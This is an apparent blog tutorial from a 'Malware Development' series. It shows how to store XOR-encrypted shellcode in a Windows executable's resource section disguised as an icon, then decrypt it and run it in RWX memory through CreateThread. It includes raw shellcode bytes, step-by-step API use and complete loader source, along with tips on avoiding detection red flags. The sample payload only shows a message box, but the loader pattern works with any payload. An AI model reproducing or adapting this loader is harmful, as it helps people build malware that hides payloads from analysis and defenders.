Malware Development: Crafting Digital Chaos 0x2: Embedding encrypted payloads in resource section
Payload placement: .rsrc section
This is a popular way of placement used widely among malware authors, The resource section of the executable is a section that is meant to store non-executable files, icon files, bitmaps and so on.
Malware authors tend to use it to store their payload but mostly in an encrypted form, that provides a level of obscurity, Also most malware families nowadays has many versions or releases, and having a payload in resource section makes it easy for a malware author to modify the functionality of the payload, he will simply need to just change the resources content, and not the code itself.
For this article we’ll work with a MessageBox payload we have been using earlier, but this time let’s append a simple layer of obfuscation, take this payload, XOR it with the value: “XYZ” and save the file as a .ico
.
unsigned char buf[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\xfe\x00\x00\x00\x3e"
"\x4c\x8d\x85\x15\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2\x56\xff"
"\xd5\x43\x52\x41\x46\x54\x49\x4e\x47\x20\x44\x49\x47\x49"
"\x54\x41\x4c\x20\x43\x48\x41\x4f\x53\x00\x4d\x65\x73\x73"
"\x61\x67\x65\x42\x6f\x78\x00";
Adding a resource to our project
Click on Resources File -> Add -> Netw Item
Choose Resource File and once you get a column on the right hand side right clikc on Resource.rc and add the resource -> import your .ico and specify its type as RCDATA
.
After we have added our encrypted .ico file we need to be able to retrieve its contents in order to decrypt it and finally execute it.
Retrieving payload contents
Our process will be as follows:
- FindResourceW API call: locate the resource using its ID and type.
- LoadResource API call: Load the contents of our resource file to memory.
- LockResource API call: obtain a pointer to the data.
- Allocate memory out of .rsrc section and copy our data.
- Begin execution.
Locating resource
HRSRC hRsrc = FindResourceW(NULL,MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA);
“HRSRC” type stands for “Handle to a Resource.” It represents a handle to a resource that is loaded, and The MAKEINTRESOURCE
macro is a utility macro for converting an integer value into a resource identifier at this case we passed IDR_RCDATA1
which is teh ID of our resource, we can find the ID in the resource.h
file (Do not forget to include it).
The last parameter is just the type of the resource and we specified that earlier when we first imported our resource.
Loading resource contents
We use this code and pass the handle we got above:
HGLOBAL hGRsrc = LoadResource(NULL, hRsrc);
Obtain a pointer
PVOID RsrcAd = LockResource(hGRsrc);
The variable RsrcAd will point to our data, but it will still be a pointer inside .rsrc section, to do any operations on the data such as writing, decrypting, executing, etc. We better allocate a memory region and copy our data to that region.
For this we can simply use VirtualAlloc() or any other memory allocation API.
Decrypting the payload
Before allocating memory we need to calculate the size of our resource:
DWORD dwSize = SizeofResource(NULL, hRsrc);
Then using VirtualAlloc().
PVOID pAddress = VirtualAlloc(NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
Again: passing PAGE_EXECUTE_READWRITE is a big red flag, this is usually not the best way to do memory allocation, instead in real life engagements we better use PAGE_READWRITE then changing the memory protection using VitualProtect().
Then copy the data to that region:
memcpy(pAddress, RsrcAd, dwSize);
We need to implement a function that will take the encrypted data, the key and decrypt our payload:
VOID XOR(IN PBYTE pBytes, IN DWORD dwSize, IN char* pKey) {
for (int i=0;i < dwSize;i++) {
pBytes[i] = pBytes[i] ^ pKey[i % 3];
}
}
Pass the address and key to decrypt:
char key[] = "XYZ";
XOR((PBYTE)pAddress, dwSize, key);
Execution
After we have prepared everything let’s do a quick test to see the payload before and after decryption, make sure it is decrypted successfully.
toggle a breakpoint before and after the XOR operation and check the payload in memory: Before:
After:
Now as we see, we have successfully decrypted our payload, and already it’s in an executable region of memory, we can simply execute it now with CreateThread() API call.
if (CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)pAddress, NULL, NULL, NULL) == NULL) {
printf("CreateThread Failed with Error %x", GetLastError());
return -1;
};
And always remember to trace the execution using a debugger to confirm everything is working properly :) . Final Code:
#include <Windows.h>
#include "resource.h"
#include <stdio.h>
VOID XOR(IN PBYTE pBytes, IN DWORD dwSize, IN char* pKey) {
for (int i=0;i < dwSize;i++) {
pBytes[i] = pBytes[i] ^ pKey[i % 3];
}
}
int main()
{
HRSRC hRsrc = FindResourceW(NULL, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA);
if (hRsrc == NULL) {
printf("FindResouceW failed with error: %x", GetLastError());
return -1;
}
HGLOBAL hGRsrc = LoadResource(NULL, hRsrc);
if (hGRsrc == NULL) {
printf("LoadResource failed with error: %x", GetLastError());
return -1;
}
PVOID RsrcAd = LockResource(hGRsrc);
if (RsrcAd == NULL) {
printf("failed loading resource, error: %x", GetLastError());
return -1;
}
DWORD dwSize = SizeofResource(NULL, hRsrc);
if (dwSize == NULL) {
printf("SizeofResource failed with error: %x", GetLastError());
return -1;
}
PVOID pAddress = VirtualAlloc(NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(pAddress, RsrcAd, dwSize);
char key[] = "XYZ";
XOR((PBYTE)pAddress, dwSize, key);
if (CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)pAddress, NULL, NULL, NULL) == NULL) {
printf("CeateThread Failed with Error %x", GetLastError());
return -1;
};
return 1;
}